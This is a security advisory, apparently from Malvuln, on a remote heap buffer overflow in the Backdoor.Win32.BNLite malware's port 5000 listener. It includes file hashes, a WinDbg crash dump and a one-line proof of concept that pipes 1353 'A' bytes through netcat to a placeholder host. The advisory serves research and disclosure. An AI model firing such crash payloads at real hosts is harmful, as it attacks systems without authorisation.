Backdoor.Win32.BNLite malware suffers from a buffer overflow vulnerability.
4403592f49298819043548c0dacad82bDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9cec5a23887f0c73148ab3ea147a6fa4.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.BNLite
Vulnerability: Remote Heap Based Buffer Overflow
Description: The malware listens on TCP port 5000. Third party attackers who can reach the system can send a specially crafted payload to trigger a heap based buffer overflow overwriting the ECX, EDX and lower 16-bits (half) of EAX corrupting memory located on the heap.
Type: PE32
MD5: 9cec5a23887f0c73148ab3ea147a6fa4
Vuln ID: MVID-2021-0429
Dropped files: BNLIMNL.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 12/16/2021
Memory Dump:
(73c.9a4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=41414141 esi=00000003 edi=00000003
eip=7770ed3c esp=0019f3b4 ebp=0019f544 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400 ret 14h
0:000> .ecxr
eax=00004141 ebx=024d4fc0 ecx=41414141 edx=41414141 esi=024d4fc8 edi=024a0000
eip=776e2d6a esp=0019fcf0 ebp=0019feb0 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
ntdll!RtlpAllocateHeap+0x37a:
776e2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for BNLIMNL.exe
*** ERROR: Module load completed but symbols could not be loaded for BNLIMNL.exe
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
ntdll!RtlpAllocateHeap+37a
776e2d6a 8b09 mov ecx,dword ptr [ecx]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 776e2d6a (ntdll!RtlpAllocateHeap+0x0000037a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
PROCESS_NAME: BNLIMNL.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 41414141
READ_ADDRESS: 41414141
FOLLOWUP_IP:
BNLIMNL+1966
00401966 a3c6304000 mov dword ptr [BNLIMNL+0x30c6 (004030c6)],eax
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 000009a4
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 776e16b7 to 776e2d6a
STACK_TEXT:
0019feb0 776e16b7 00000449 00000458 024a6400 ntdll!RtlpAllocateHeap+0x37a
0019ff00 776e13ee 00100008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7
0019ff18 74a10cd4 024a0000 00100008 00000449 ntdll!RtlAllocateHeap+0x3e
0019ff68 00401966 00000040 00000449 0019ff94 KERNELBASE!GlobalAlloc+0x64
WARNING: Stack unwind information not available. Following frames may be wrong.
0019ff78 0040125b 0000035c 77408654 002f7000 BNLIMNL+0x1966
0019ff94 77704a77 002f7000 b7b1d83f 00000000 BNLIMNL+0x125b
0019ffdc 77704a47 ffffffff 77729edc 00000000 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 00401000 002f7000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: !heap ; ~0s; .ecxr ; kb
SYMBOL_STACK_INDEX: 4
SYMBOL_NAME: BNLIMNL+1966
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: BNLIMNL
IMAGE_NAME: BNLIMNL.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 3aa07951
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141_c0000005_BNLIMNL.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_BNLIMNL+1966
Exploit/PoC:
python -c "print('A'*1353)" | nc64.exe MALWARE_HOST 5000
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